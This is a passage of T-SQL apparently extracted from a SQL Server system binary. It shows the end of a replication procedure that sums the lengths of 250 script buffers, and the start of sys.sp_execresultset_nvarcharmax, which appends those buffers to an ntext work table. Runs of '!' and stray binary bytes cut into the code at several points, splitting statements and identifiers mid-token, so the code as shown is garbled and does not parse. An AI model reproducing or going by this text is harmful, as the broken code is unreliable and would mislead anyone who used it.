    select '@q1' = datalength(@q1)/2, '@q2' = datalength(@q2)/2, '@q3' = datalength(@q3)/2, '@q4' = datalength(@q4)/2, '@q5' = datalength(@q5)/2, '@q6' = datalength(@q6)/2, '@q7' = datalength(@q7)/2, '@q8' = datalength(@q8)/2, '@q9' = datalength(@q9)/2, '@q10' = datalength(@q10)/2, 
        '@q11' = datalength(@q11)/2, '@q12' = datalength(@q12)/2, '@q13' = datalength(@q13)/2, '@q14' = datalength(@q14)/2, '@q15' = datalength(@q15)/2, '@q16' = datalength(@q16)/2, '@q17' = datalength(@q17)/2, '@q18' = datalength(@q18)/2, '@q19' = datalength(@q19)/2, '@q20' = datalength(@q20)/2, 
        '@q21' = datalength(@q21)/2, '@q22' = datalength(@q22)/2, '@q23' = datalength(@q23)/2, '@q24' = datalength(@q24)/2, '@q25' = datalength(@q25)/2, '@q26' = datalength(@q26)/2, '@q27' = datalength(@q27)/2, '@q28' = datalength(@q28)/2, '@q29' = datalength(@q29)/2, '@q30' = datalength(@q30)/2, 
        '@q31' = datalength(@q31)/2, '@q32' = datalength(@q32)/2, '@q33' = datalength(@q33)/2, '@q34' = datalength(@q34)/2, '@q35' = datalength(@q35)/2, '@q36' = datalength(@q36)/2, '@q37' = datalength(@q37)/2, '@q38' = datalength(@q38)/2, '@q39' = datalength(@q39)/2, '@q40' = datalength(@q40)/2, 
        '@q41' = datalength(@q41)/2, '@q42' = datalength(@q42)/2, '@q43' = datalength(@q43)/2, '@q44' = datalength(@q44)/2, '@q45' = datalength(@q45)/2, '@q46' = datalength(@q46)/2, '@q47' = datalength(@q47)/2, '@q48' = datalength(@q48)/2, '@q49' = datalength(@q49)/2, '@q50' = datalength(@q50)/2, 
        '@q51' = datalength(@q51)/2, '@q52' = datalength(@q52)/2, '@q53' = datalength(@q53)/2, '@q54' = datalength(@q54)/2, '@q55' = datalength(@q55)/2, '@q56' = datalength(@q56)/2, '@q57' = datalength(@q57)/2, '@q58' = datalength(@q58)/2, '@q59' = datalength(@q59)/2, '@q60' = datalength(@q60)/2, 
        '@q61' = datalength(@q61)/2, '@q62' = datalength(@q62)/2,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<stMN$+a '@q63' = datalength(@q63)/2, '@q64' = datalength(@q64)/2, '@q65' = datalength(@q65)/2, '@q66' = datalength(@q66)/2, '@q67' = datalength(@q67)/2, '@q68' = datalength(@q68)/2, '@q69' = datalength(@q69)/2, '@q70' = datalength(@q70)/2, 
        '@q71' = datalength(@q71)/2, '@q72' = datalength(@q72)/2, '@q73' = datalength(@q73)/2, '@q74' = datalength(@q74)/2, '@q75' = datalength(@q75)/2, '@q76' = datalength(@q76)/2, '@q77' = datalength(@q77)/2, '@q78' = datalength(@q78)/2, '@q79' = datalength(@q79)/2, '@q80' = datalength(@q80)/2, 
        '@q81' = datalength(@q81)/2, '@q82' = datalength(@q82)/2, '@q83' = datalength(@q83)/2, '@q84' = datalength(@q84)/2, '@q85' = datalength(@q85)/2, '@q86' = datalength(@q86)/2, '@q87' = datalength(@q87)/2, '@q88' = datalength(@q88)/2, '@q89' = datalength(@q89)/2, '@q90' = datalength(@q90)/2, 
        '@q91' = datalength(@q91)/2, '@q92' = datalength(@q92)/2, '@q93' = datalength(@q93)/2, '@q94' = datalength(@q94)/2, '@q95' = datalength(@q95)/2, '@q96' = datalength(@q96)/2, '@q97' = datalength(@q97)/2, '@q98' = datalength(@q98)/2, '@q99' = datalength(@q99)/2, '@q100' = datalength(@q100)/2, 
        '@q101' = datalength(@q101)/2, '@q102' = datalength(@q102)/2, '@q103' = datalength(@q103)/2, '@q104' = datalength(@q104)/2, '@q105' = datalength(@q105)/2, '@q106' = datalength(@q106)/2, '@q107' = datalength(@q107)/2, '@q108' = datalength(@q108)/2, '@q109' = datalength(@q109)/2, '@q110' = datalength(@q110)/2, 
        '@q111' = datalength(@q111)/2, '@q112' = datalength(@q112)/2, '@q113' = datalength(@q113)/2, '@q114' = datalength(@q114)/2, '@q115' = datalength(@q115)/2, '@q116' = datalength(@q116)/2, '@q117' = datalength(@q117)/2, '@q118' = datalength(@q118)/2, '@q119' = datalength(@q119)/2, '@q120' = datalength(@q120)/2, 
        '@q121' = datalength(@q121)/2, '@q122' = datalength(@q122)/2, '@q123' = datalength(@q123)/2, '@q124' = datalength(@q124)/2, '@q125' = datalength(@q125)/2, '@q126' = datalength(@q126)/2, '@q127' = datalength(@q127)/2, '@q128' = datalength(@q128)/2, '@q129' = datalength(@q129)/2, '@q130' = datalength(@q130)/2, 
        '@q131' = datalength(@q131)/2, '@q132' = datalength(@q132)/2, '@q133' = datalength(@q133)/2, '@q134' = datalength(@q134)/2, '@q135' = datalength(@q135)/2, '@q136' = datalength(@q136)/2, '@q137' = datalength(@q137)/2, '@q138' = datalength(@q138)/2, '@q139' = datalength(@q139)/2, '@q140' = datalength(@q140)/2, 
        '@q141' = datalength(@q141)/2, '@q142' = datalength(@q142)/2, '@q143' = datalength(@q143)/2, '@q144' = datalength(@q144)/2, '@q145' = datalength(@q145)/2, '@q146' = datalength(@q146)/2, '@q147' = datalength(@q147)/2, '@q148' = datalength(@q148)/2, '@q149' = datalength(@q149)/2, '@q150' = datalength(@q150)/2, 
        '@q151' = datalength(@q151)/2, '@q152' = datalength(@q152)/2, '@q153' = datalength(@q153)/2, '@q154' = datalength(@q154)/2, '@q155' = datalength(@q155)/2, '@q156' = datalength(@q156)/2, '@q157' = datalength(@q157)/2, '@q158' = datalength(@q158)/2, '@q159' = datalength(@q159)/2, '@q160' = datalength(@q160)/2, 
        '@q161' = datalength(@q161)/2, '@q162' = datalength(@q162)/2, '@q163' = datalength(@q163)/2, '@q164' = datalength(@q164)/2, '@q165' = datalength(@q165)/2, '@q166' = datalength(@q166)/2, '@q167' = datalength(@q167)/2, '@q168' = datalength(@q168)/2, '@q169' = datalength(@q169)/2, '@q170' = datalength(@q170)/2, 
        '@q171' = datalength(@q171)/2, '@q172' = datalength(@q172)/2, '@q173' = datalength(@q173)/2, '@q174' = datalength(@q174)/2, '@q175' = datalength(@q175)/2, '@q176' = datalength(@q176)/2, '@q177' = datalength(@q177)/2, '@q178' = datalength(@q178)/2, '@q179' = datalength(@q179)/2, '@q180' = datalength(@q180)/2, 
        '@q181' = datalength(@q181)/2, '@q182' = datalength(@q182)/2, '@q183' = datalength(@q183)/2, '@q184' = datalength(@q184)/2, '@q185' = datalength(@q185)/2, '@q186' = datalength(@q186)/2, '@q187' = datalength(@q187)/2, '@q188' = datalength(@q188)/2, '@q189' = datalength(@q189)/2, '@q190' = datalength(@q190)/2, 
        '@q191' = datalength(@q191)/2, '@q192' = datalength(@q192)/2, '@q193' = datalength(@q193)/2, '@q194' = datalength(@q194)/2, '@q195' = datalength(@q195)/2, '@q196' = datalength(@q196)/2, '@q197' = datalength(@q197)/2, '@q198' = datalength(@q198)/2, '@q199' = datalength(@q199)/2, '@q200' = datalength(@q200)/2, 
        '@q201' = datalength(@q201)/2, '@q202' = datalength(@q202)/2, '@q203' = datalength(@q203)/2, '@q204' = datalength(@q204)/2, '@q205' = datalength(@q205)/2, '@q206' = datalength(@q206)/2, '@q207' = datalength(@q207)/2, '@q208' = datalength(@q208)/2, '@q209' = datalength(@q209)/2, '@q210' = datalength(@q210)/2, 
        '@q211' = datalength(@q211)/2, '@q212' = datalength(@q212)/2, '@q213' = datalength(@q213)/2, '@q214' = datalength(@q214)/2, '@q215' = datalength(@q215)/2, '@q216' = datalength(@q216)/2, '@q217' = datalength(@q217)/2, '@q218' = datalength(@q218)/2, '@q219' = datalength(@q219)/2, '@q220' = datalength(@q220)/2, 
        '@q221' = datalength(@q221)/2, '@q222' = datalength(@q222)/2, '@q223' = datalength(@q223)/2, '@q224' = datalength(@q224)/2, '@q225' = datalength(@q225)/2, '@q226' = datalength(@q226)/2, '@q227' = datalength(@q227)/2, '@q228' = datalength(@q228)/2, '@q229' = datalength(@q229)/2, '@q230' = datalength(@q230)/2, 
        '@q231' = datalength(@q231)/2, '@q232' = datalength(@q232)/2, '@q233' = datalength(@q233)/2, '@q234' = datalength(@q234)/2, '@q235' = datalength(@q235)/2, '@q236' = datalength(@q236)/2, '@q237' = datalength(@q237)/2, '@q238' = datalength(@q238)/2, '@q239' = datalength(@q239)/2, '@q240' = datalength(@q240)/2, 
        '@q241' = datalength(@q241)/2, '@q242' = datalength(@q242)/2, '@q243' = datalength(@q243)/2, '@q244' = datalength(@q244)/2, '@q245' = datalength(@q245)/2, '@q246' = datalength(@q246)/2, '@q247' = datalength(@q247)/2, '@q248' = datalength(@q248)/2, '@q249' = datalength(@q249)/2, '@q250' = datalength(@q250)/2

    select @q1+@q2+@q3+@q4+@q5+@q6+@q7+@q8+@q9+@q10+
        @q11+@q12+@q13+@q14+@q15+@q16+@q17+@q18+@q19+@q20+
        @q21+@q22+@q23+@q24+@q25+@q26+@q27+@q28+@q29+@q30+
        @q31+@q32+@q33+@q34+@q35+@q36+@q37+@q38+@q39+@q40+
        @q41+@q42+@q43+@q44+@q45+@q46+@q47+@q48+@q49+@q50+
        @q51+@q52+@q53+@q54+@q55+@q56+@q57+@q58+@q59+@q60+
        @q61+@q62+@q63+@q64+@q65+@q66+@q67+@q68+@q69+@q70+
        @q71+@q72+@q73+@q74+@q75+@q76+@q77+@q78+@q79+@q80+
        @q81+@q82+@q83+@q84+@q85+@q86+@q87+@q88+@q89+@q90+
        @q91+@q92+@q93+@q94+@q95+@q96+@q97+@q98+@q99+@q100+
        @q101+@q102+@q103+@q104+@q105+@q106+@q107+@q108+@q109+@q110+
        @q111+@q112+@q113+@q114+@q115+@q116+@q117+@q118+@q119+@q120+
        @q121+@q122+@q123+@q124+@q125+@q126+@q127+@q128+@q129+@q130+
        @q131+@q132+@q133+@q134+@q135+@q136+@q137+@q138+@q139+@q140+
        @q141+@q142+@q143+@q144+@q145+@q146+@q147+@q148+@q149+@q150+
        @q151+@q152+@q153+@q154+@q155+@q156+@q157+@q158+@q159+@q160+
        @q161+@q162+@q163+@q164+@q165+@q166+@q167+@q168+@q169+@q170+
        @q171+@q172+@q173+@q174+@q175+@q176+@q177+@q178+@q179+@q180+
        @q181+@q182+@q183+@q184+@q185+@q186+@q187+@q188+@q189+@q190+
        @q191+@q192+@q193+@q194+@q195+@q196+@q197+@q198+@q199+@q200+
        @q201+@q202+@q203+@q204+@q205+@q206+@q207+@q208+@q209+@q210+
        @q211+@q212+@q213+@q214+@q215+@q216+@q217+@q218+@q219+@q220+
        @q221+@q222+@q223+@q224+@q225+@q226+@q227+@q228+@q229+@q230+
        @q231+@q232+@q233+@q234+@q235+@q236+@q237+@q238+@q239+@q240+
        @q241+@q242+@q243+@q244+@q245+@q246+@q247+@q248+@q249+@q250
    end
    
    drop table #MSrepl_exec_script
    return 0
Error:
    drop table #MSrepl_exec_script
    return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(uNfT/v|create procedure sys.sp_execresultset_nvarcharmax
(
    @q1 nvarchar(4000),@q2 nvarchar(4000),@q3 nvarchar(4000),@q4 nvarchar(4000),@q5 nvarchar(4000),@q6 nvarchar(4000),@q7 nvarchar(4000),@q8 nvarchar(4000),@q9 nvarchar(4000),@q10 nvarchar(4000),
    @q11 nvarchar(4000),@q12 nvarchar(4000),@q13 nvarchar(4000),@q14 nvarchar(4000),@q15 nvarchar(4000),@q16 nvarchar(4000),@q17 nvarchar(4000),@q18 nvarchar(4000),@q19 nvarchar(4000),@q20 nvarchar(4000),
    @q21 nvarchar(4000),@q22 nvarchar(4000),@q23 nvarchar(4000),@q24 nvarchar(4000),@q25 nvarchar(4000),@q26 nvarchar(4000),@q27 nvarchar(4000),@q28 nvarchar(4000),@q29 nvarchar(4000),@q30 nvarchar(4000),
    @q31 nvarchar(4000),@q32 nvarchar(4000),@q33 nvarchar(4000),@q34 nvarchar(4000),@q35 nvarchar(4000),@q36 nvarchar(4000),@q37 nvarchar(4000),@q38 nvarchar(4000),@q39 nvarchar(4000),@q40 nvarchar(4000),
    @q41 nvarchar(4000),@q42 nvarchar(4000),@q43 nvarchar(4000),@q44 nvarchar(4000),@q45 nvarchar(4000),@q46 nvarchar(4000),@q47 nvarchar(4000),@q48 nvarchar(4000),@q49 nvarchar(4000),@q50 nvarchar(4000),
    @q51 nvarchar(4000),@q52 nvarchar(4000),@q53 nvarchar(4000),@q54 nvarchar(4000),@q55 nvarchar(4000),@q56 nvarchar(4000),@q57 nvarchar(4000),@q58 nvarchar(4000),@q59 nvarchar(4000),@q60 nvarchar(4000),
    @q61 nvarchar(4000),@q62 nvarchar(4000),@q63 nvarchar(4000),@q64 nvarchar(4000),@q65 nvarchar(4000),@q66 nvarchar(4000),@q67 nvarchar(4000),@q68 nvarchar(4000),@q69 nvarchar(4000),@q70 nvarchar(4000),
    @q71 nvarchar(4000),@q72 nvarchar(4000),@q73 nvarchar(4000),@q74 nvarchar(4000),@q75 nvarchar(4000),@q76 nvarchar(4000),@q77 nvarchar(4000),@q78 nvarchar(4000),@q79 nvarchar(4000),@q80 nvarchar(4000),
    @q81 nvarchar(4000),@q82 nvarchar(4000),@q83 nvarchar(4000),@q84 nvarchar(4000),@q85 nvarchar(4000),@q86 nvarchar(4000),@q87 nvarchar(4000),@q88 nvarchar(4000),@q89 nvarchar(4000),@q90 nvarchar(4000),
    @q91 nvarchar(4000),@q92 nvarchar(4000),@q93 nvarchar(4000),@q94 nvarchar(4000),@q95 nvarchar(4000),@q96 nvarchar(4000),@q97 nvarchar(4000),@q98 nvarchar(4000),@q99 nvarchar(4000),@q100 nvarchar(4000),
    @q101 nvarchar(4000),@q102 nvarchar(4000),@q103 nvarchar(4000),@q104 nvarchar(4000),@q105 nvarchar(4000),@q106 nvarchar(4000),@q107 nvarchar(4000),@q108 nvarchar(4000),@q109 nvarchar(4000),@q110 nvarchar(4000),
    @q111 nvarchar(4000),@q112 nvarchar(4000),@q113 nvarchar(4000),@q114 nvarchar(4000),@q115 nvarchar(4000),@q116 nvarchar(4000),@q117 nvarchar(4000),@q118 nvarchar(4000),@q119 nvarchar(4000),@q120 nvarchar(4000),
    @q121 nvarchar(4000),@q122 nvarchar(4000),@q123 nvarchar(4000),@q124 nvarchar(4000),@q125 nvarchar(4000),@q126 nvarchar(4000),@q127 nvarchar(4000),@q128 nvarchar(4000),@q129 nvarchar(4000),@q130 nvarchar(4000),
    @q131 nvarchar(4000),@q132 nvarchar(4000),@q133 nvarchar(4000),@q134 nvarchar(4000),@q135 nvarchar(4000),@q136 nvarchar(4000),@q137 nvarchar(4000),@q138 nvarchar(4000),@q139 nvarchar(4000),@q140 nvarchar(4000),
    @q141 nvarchar(4000),@q142 nvarchar(4000),@q143 nvarchar(4000),@q144 nvarchar(4000),@q145 nvarchar(4000),@q146 nvarchar(4000),@q147 nvarchar(4000),@q148 nvarchar(4000),@q149 nvarchar(4000),@q150 nvarchar(4000),
    @q151 nvarchar(4000),@q152 nvarchar(4000),@q153 nvarchar(4000),@q154 nvarchar(4000),@q155 nvarchar(4000),@q156 nvarchar(4000),@q157 nvarchar(4000),@q158 nvarchar(4000),@q159 nvarchar(4000),@q160 nvarchar(4000),
    @q161 nvarchar(4000),@q162 nvarchar(4000),@q163 nvarchar(4000),@q164 nvarchar(4000),@q165 nvarchar(4000),@q166 nvarchar(4000),@q167 nvarchar(4000),@q168 nvarchar(4000),@q169 nvarchar(4000),@q170 nvarchar(4000),
    @q171 nvarchar(4000),@q172 nvarchar(4000),@q173 nvarchar(4000),@q174 nvarchar(4000),@q175 nvarchar(4000),@q176 nvarchar(4000),@q177 nvarchar(4000),@q178 nvarchar(4000),@q179 nvarchar(4000),@q180 nvarchar(4000),
    @q181 nvarchar(4000),@q182 nvarchar(4000),@q183 nvarchar(4000),@q184 nvarchar(4000),@q185 nvarchar(4000),@q186 nvarchar(4000),@q187 nvarchar(4000),@q188 nvarchar(4000),@q189 nvarchar(4000),@q190 nvarchar(4000),
    @q191 nvarchar(4000),@q192 nvarchar(4000),@q193 nvarchar(4000),@q194 nvarchar(4000),@q195 nvarchar(4000),@q196 nvarchar(4000),@q197 nvarchar(4000),@q198 nvarchar(4000),@q199 nvarchar(4000),@q200 nvarchar(4000),
    @q201 nvarchar(4000),@q202 nvarchar(4000),@q203 nvarchar(4000),@q204 nvarchar(4000),@q205 nvarchar(4000),@q206 nvarchar(4000),@q207 nvarchar(4000),@q208 nvarchar(4000),@q209 nvarchar(4000),@q210 nvarchar(4000),
    @q211 nvarchar(4000),@q212 nvarchar(4000),@q213 nvarchar(4000),@q214 nvarchar(4000),@q215 nvarchar(4000),@q216 nvarchar(4000),@q217 nvarchar(4000),@q218 nvarchar(4000),@q219 nvarchar(4000),@q220 nvarchar(4000),
    @q221 nvarchar(4000),@q222 nvarchar(4000),@q223 nvarchar(4000),@q224 nvarchar(4000),@q225 nvarchar(4000),@q226 nvarchar(4000),@q227 nvarchar(4000),@q228 nvarchar(4000),@q229 nvarchar(4000),@q230 nvarchar(4000),
    @q231 nvarchar(4000),@q232 nvarchar(4000),@q233 nvarchar(4000),@q234 nvarchar(4000),@q235 nvarchar(4000),@q236 nvarchar(4000),@q237 nvarchar(4000),@q238 nvarchar(4000),@q239 nvarchar(4000),@q240 nvarchar(4000),
    @q241 nvarchar(4000),@q242 nvarchar(4000),@q243 nvarchar(4000),@q244 nvarchar(4000),@q245 nvarchar(4000),@q246 nvarchar(4000),@q247 nvarchar(4000),@q248 nvarchar(4000),@q249 nvarchar(4000),@q250 nvarchar(4000),
    @qValue         nvarchar(max),
    @residueText    nvarchar(max),
    @rowIndex       bigint,
    @debug          bit = 0                -- Display debug information and resultset query (no exec)
) with recompile
as
begin
    set nocount on

    declare @scriptText         nvarchar(max),
            @textptr            binary(16),
            @scriptFragment     nvarchar(max)

    create table #ntextworktable (scriptText ntext)

    -- sp_execresultset_nvarcharmax is called because sp_execresultset overflows
    -- the 250 nvarchar(4000) buffer variables that are passed in, so we are 
    -- guaranteed to have non-null values for these buffer variables
    insert into #ntextworktable values (@q1)
    select @textptr = textptr(scriptText) from #ntextworktable

    updatetext #ntextworktable.scriptText @textptr null null @q2
    updatetext #ntextworktable.scriptText @textptr null null @q3
    updatetext #ntextworktable.scriptText @textptr null null @q4
    updatetext #ntextworktable.scriptText @textptr null null @q5
    updatetext #ntextworktable.scriptText @textptr null null @q6
    updatetext #ntextworktable.scriptText @textptr null null @q7
    updatetext #ntextworktable.scriptText @textptr null null @q8
    updatetext #ntextworktable.scriptText @textptr null null @q9
    updatetext #ntextworktable.scriptText @textptr null null @q10
    updatetext #ntextworktable.scriptText @textptr null null @q11
    updatetext #ntextworktable.scriptText @textptr null null @q12
    updatetext #ntextworktable.scriptText @textptr null null @q13
    updatetext #ntextworktable.scriptText @textptr null null @q14
    updatetext #ntextworktable.scriptText @textptr null null @q15
    updatetext #ntextworktable.scriptText @textptr null null @q16
    updatetext #ntextworktable.scriptText @textptr null null @q17
    updatetext #ntextworktable.scriptText @textptr null null @q18
    updatetext #ntextworktable.scriptText @textptr null null @q19
    updatetext #ntextworktable.scriptText @textptr null null @q20
    updatetext #ntextworktable.scriptText @textptr null null @q21
    updatetext #ntextworktable.scriptText @textptr null null @q22
    updatetext #ntextworktable.scriptText @textptr null null @q23
    updatetext #ntextworktable.scriptText @textptr null null @q24
    updatetext #ntextworktable.scriptText @textptr null null @q25
    updatetext #ntextworktable.scriptText @textptr null null @q26
    updatetext #ntextworktable.scriptText @textptr null null @q27
    updatetext #ntextworktable.scriptText @textptr null null @q28
    updatetext #ntextworktable.scriptText @textptr null null @q29
    updatetext #ntextworktable.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(vN?N]v|scriptText @textptr null null @q30
    updatetext #ntextworktable.scriptText @textptr null null @q31
    updatetext #ntextworktable.scriptText @textptr null null @q32
    updatetext #ntextworktable.scriptText @textptr null null @q33
    updatetext #ntextworktable.scriptText @textptr null null @q34
    updatetext #ntextworktable.scriptText @textptr null null @q35
    updatetext #ntextworktable.scriptText @textptr null null @q36
    updatetext #ntextworktable.scriptText @textptr null null @q37
    updatetext #ntextworktable.scriptText @textptr null null @q38
    updatetext #ntextworktable.scriptText @textptr null null @q39
    updatetext #ntextworktable.scriptText @textptr null null @q40
    updatetext #ntextworktable.scriptText @textptr null null @q41
    updatetext #ntextworktable.scriptText @textptr null null @q42
    updatetext #ntextworktable.scriptText @textptr null null @q43
    updatetext #ntextworktable.scriptText @textptr null null @q44
    updatetext #ntextworktable.scriptText @textptr null null @q45
    updatetext #ntextworktable.scriptText @textptr null null @q46
    updatetext #ntextworktable.scriptText @textptr null null @q47
    updatetext #ntextworktable.scriptText @textptr null null @q48
    updatetext #ntextworktable.scriptText @textptr null null @q49
    updatetext #ntextworktable.scriptText @textptr null null @q50
    updatetext #ntextworktable.scriptText @textptr null null @q51
    updatetext #ntextworktable.scriptText @textptr null null @q52
    updatetext #ntextworktable.scriptText @textptr null null @q53
    updatetext #ntextworktable.scriptText @textptr null null @q54
    updatetext #ntextworktable.scriptText @textptr null null @q55
    updatetext #ntextworktable.scriptText @textptr null null @q56
    updatetext #ntextworktable.scriptText @textptr null null @q57
    updatetext #ntextworktable.scriptText @textptr null null @q58
    updatetext #ntextworktable.scriptText @textptr null null @q59
    updatetext #ntextworktable.scriptText @textptr null null @q60
    updatetext #ntextworktable.scriptText @textptr null null @q61
    updatetext #ntextworktable.scriptText @textptr null null @q62
    updatetext #ntextworktable.scriptText @textptr null null @q63
    updatetext #ntextworktable.scriptText @textptr null null @q64
    updatetext #ntextworktable.scriptText @textptr null null @q65
    updatetext #ntextworktable.scriptText @textptr null null @q66
    updatetext #ntextworktable.scriptText @textptr null null @q67
    updatetext #ntextworktable.scriptText @textptr null null @q68
    updatetext #ntextworktable.scriptText @textptr null null @q69
    updatetext #ntextworktable.scriptText @textptr null null @q70
    updatetext #ntextworktable.scriptText @textptr null null @q71
    updatetext #ntextworktable.scriptText @textptr null null @q72
    updatetext #ntextworktable.scriptText @textptr null null @q73
    updatetext #ntextworktable.scriptText @textptr null null @q74
    updatetext #ntextworktable.scriptText @textptr null null @q75
    updatetext #ntextworktable.scriptText @textptr null null @q76
    updatetext #ntextworktable.scriptText @textptr null null @q77
    updatetext #ntextworktable.scriptText @textptr null null @q78
    updatetext #ntextworktable.scriptText @textptr null null @q79
    updatetext #ntextworktable.scriptText @textptr null null @q80
    updatetext #ntextworktable.scriptText @textptr null null @q81
    updatetext #ntextworktable.scriptText @textptr null null @q82
    updatetext #ntextworktable.scriptText @textptr null null @q83
    updatetext #ntextworktable.scriptText @textptr null null @q84
    updatetext #ntextworktable.scriptText @textptr null null @q85
    updatetext #ntextworktable.scriptText @textptr null null @q86
    updatetext #ntextworktable.scriptText @textptr null null @q87
    updatetext #ntextworktable.scriptText @textptr null null @q88
    updatetext #ntextworktable.scriptText @textptr null null @q89
    updatetext #ntextworktable.scriptText @textptr null null @q90
    updatetext #ntextworktable.scriptText @textptr null null @q91
    updatetext #ntextworktable.scriptText @textptr null null @q92
    updatetext #ntextworktable.scriptText @textptr null null @q93
    updatetext #ntextworktable.scriptText @textptr null null @q94
    updatetext #ntextworktable.scriptText @textptr null null @q95
    updatetext #ntextworktable.scriptText @textptr null null @q96
    updatetext #ntextworktable.scriptText @textptr null null @q97
    updatetext #ntextworktable.scriptText @textptr null null @q98
    updatetext #ntextworktable.scriptText @textptr null null @q99
    updatetext #ntextworktable.scriptText @textptr null null @q100
    updatetext #ntextworktable.scriptText @textptr null null @q101
    updatetext #ntextworktable.scriptText @textptr null null @q102
    updatetext #ntextworktable.scriptText @textptr null null @q103
    updatetext #ntextworktable.scriptText @textptr null null @q104
    updatetext #ntextworktable.scriptText @textptr null null @q105
    updatetext #ntextworktable.scriptText @textptr null null @q106
    updatetext #ntextworktable.scriptText @textptr null null @q107
    updatetext #ntextworktable.scriptText @textptr null null @q108
    updatetext #ntextworktable.scriptText @textptr null null @q109
    updatetext #ntextworktable.scriptText @textptr null null @q110
    updatetext #ntextworktable.scriptText @textptr null null @q111
    updatetext #ntextworktable.scriptText @textptr null null @q112
    updatetext #ntextworktable.scriptText @textptr null null @q113
    updatetext #ntextworktable.scriptText @textptr null null @q114
    updatetext #ntextworktable.scriptText @textptr null null @q115
    updatetext #ntextworktable.scriptText @textptr null null @q116
    updatetext #ntextworktable.scriptText @textptr null null @q117
    updatetext #ntextworktable.scriptText @textptr null null @q118
    updatetext #ntextworktable.scriptText @textptr null null @q119
    updatetext #ntextworktable.scriptText @textptr null null @q120
    updatetext #ntextworktable.scriptText @textptr null null @q121
    updatetext #ntextworktable.scriptText @textptr null null @q122
    updatetext #ntextworktable.scriptText @textptr null null @q123
    updatetext #ntextworktable.scriptText @textptr null null @q124
    updatetext #ntextworktable.scriptText @textptr null null @q125
    updatetext #ntextworktable.scriptText @textptr null null @q126
    updatetext #ntextworktable.scriptText @textptr null null @q127
    updatetext #ntextworktable.scriptText @textptr null null @q128
    updatetext #ntextworktable.scriptText @textptr null null @q129
    updatetext #ntextworktable.scriptText @textptr null null @q130
    updatetext #ntextworktable.scriptText @textptr null null @q131
    updatetext #ntextworktable.scriptText @textptr null null @q132
    updatetext #ntextworktable.scriptText @textptr null null @q133
    updatetext #ntextworktable.scriptText @textptr null null @q134
    updatetext #ntextworktable.scriptText @textptr null null @q135
    updatetext #ntextworktable.scriptText @textptr null null @q136
    updatetext #ntextworktable.scriptText @textptr null null @q137
    updatetext #ntextworktable.scriptText @textptr null null @q138
    updatetext #ntextworktable.scriptText @textptr null null @q139
    updatetext #ntextworktable.scriptText @textptr null null @q140
    updatetext #ntextworktable.scriptText @textptr null null @q141
    updatetext #ntextworktable.scriptText @textptr null null @q142
    updatetext #ntextworktable.scriptText @textptr null null @q143
    updatetext #ntextworktable.scriptText @textptr null null @q144
    updatetext #ntextworktable.scriptText @textptr null null @q145
    updatetext #ntextworktable.scriptText @textptr null null @q146
    updatetext #ntextworktable.scriptText @textptr null null @q147
    updatetext #ntextworktable.scriptText @textptr null null @q148
    updatetext #ntextworktable.scriptText @textpt!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(wN6v
v|r null null @q149
    updatetext #ntextworktable.scriptText @textptr null null @q150
    updatetext #ntextworktable.scriptText @textptr null null @q151
    updatetext #ntextworktable.scriptText @textptr null null @q152
    updatetext #ntextworktable.scriptText @textptr null null @q153
    updatetext #ntextworktable.scriptText @textptr null null @q154
    updatetext #ntextworktable.scriptText @textptr null null @q155
    updatetext #ntextworktable.scriptText @textptr null null @q156
    updatetext #ntextworktable.scriptText @textptr null null @q157
    updatetext #ntextworktable.scriptText @textptr null null @q158
    updatetext #ntextworktable.scriptText @textptr null null @q159
    updatetext #ntextworktable.scriptText @textptr null null @q160
    updatetext #ntextworktable.scriptText @textptr null null @q161
    updatetext #ntextworktable.scriptText @textptr null null @q162
    updatetext #ntextworktable.scriptText @textptr null null @q163
    updatetext #ntextworktable.scriptText @textptr null null @q164
    updatetext #ntextworktable.scriptText @textptr null null @q165
    updatetext #ntextworktable.scriptText @textptr null null @q166
    updatetext #ntextworktable.scriptText @textptr null null @q167
    updatetext #ntextworktable.scriptText @textptr null null @q168
    updatetext #ntextworktable.scriptText @textptr null null @q169
    updatetext #ntextworktable.scriptText @textptr null null @q170
    updatetext #ntextworktable.scriptText @textptr null null @q171
    updatetext #ntextworktable.scriptText @textptr null null @q172
    updatetext #ntextworktable.scriptText @textptr null null @q173
    updatetext #ntextworktable.scriptText @textptr null null @q174
    updatetext #ntextworktable.scriptText @textptr null null @q175
    updatetext #ntextworktable.scriptText @textptr null null @q176
    updatetext #ntextworktable.scriptText @textptr null null @q177
    updatetext #ntextworktable.scriptText @textptr null null @q178
    updatetext #ntextworktable.scriptText @textptr null null @q179
    updatetext #ntextworktable.scriptText @textptr null null @q180
    updatetext #ntextworktable.scriptText @textptr null null @q181
    updatetext #ntextworktable.scriptText @textptr null null @q182
    updatetext #ntextworktable.scriptText @textptr null null @q183
    updatetext #ntextworktable.scriptText @textptr null null @q184
    updatetext #ntextworktable.scriptText @textptr null null @q185
    updatetext #ntextworktable.scriptText @textptr null null @q186
    updatetext #ntextworktable.scriptText @textptr null null @q187
    updatetext #ntextworktable.scriptText @textptr null null @q188
    updatetext #ntextworktable.scriptText @textptr null null @q189
    updatetext #ntextworktable.scriptText @textptr null null @q190
    updatetext #ntextworktable.scriptText @textptr null null @q191
    updatetext #ntextworktable.scriptText @textptr null null @q192
    updatetext #ntextworktable.scriptText @textptr null null @q193
    updatetext #ntextworktable.scriptText @textptr null null @q194
    updatetext #ntextworktable.scriptText @textptr null null @q195
    updatetext #ntextworktable.scriptText @textptr null null @q196
    updatetext #ntextworktable.scriptText @textptr null null @q197
    updatetext #ntextworktable.scriptText @textptr null null @q198
    updatetext #ntextworktable.scriptText @textptr null null @q199
    updatetext #ntextworktable.scriptText @textptr null null @q200
    updatetext #ntextworktable.scriptText @textptr null null @q201
    updatetext #ntextworktable.scriptText @textptr null null @q202
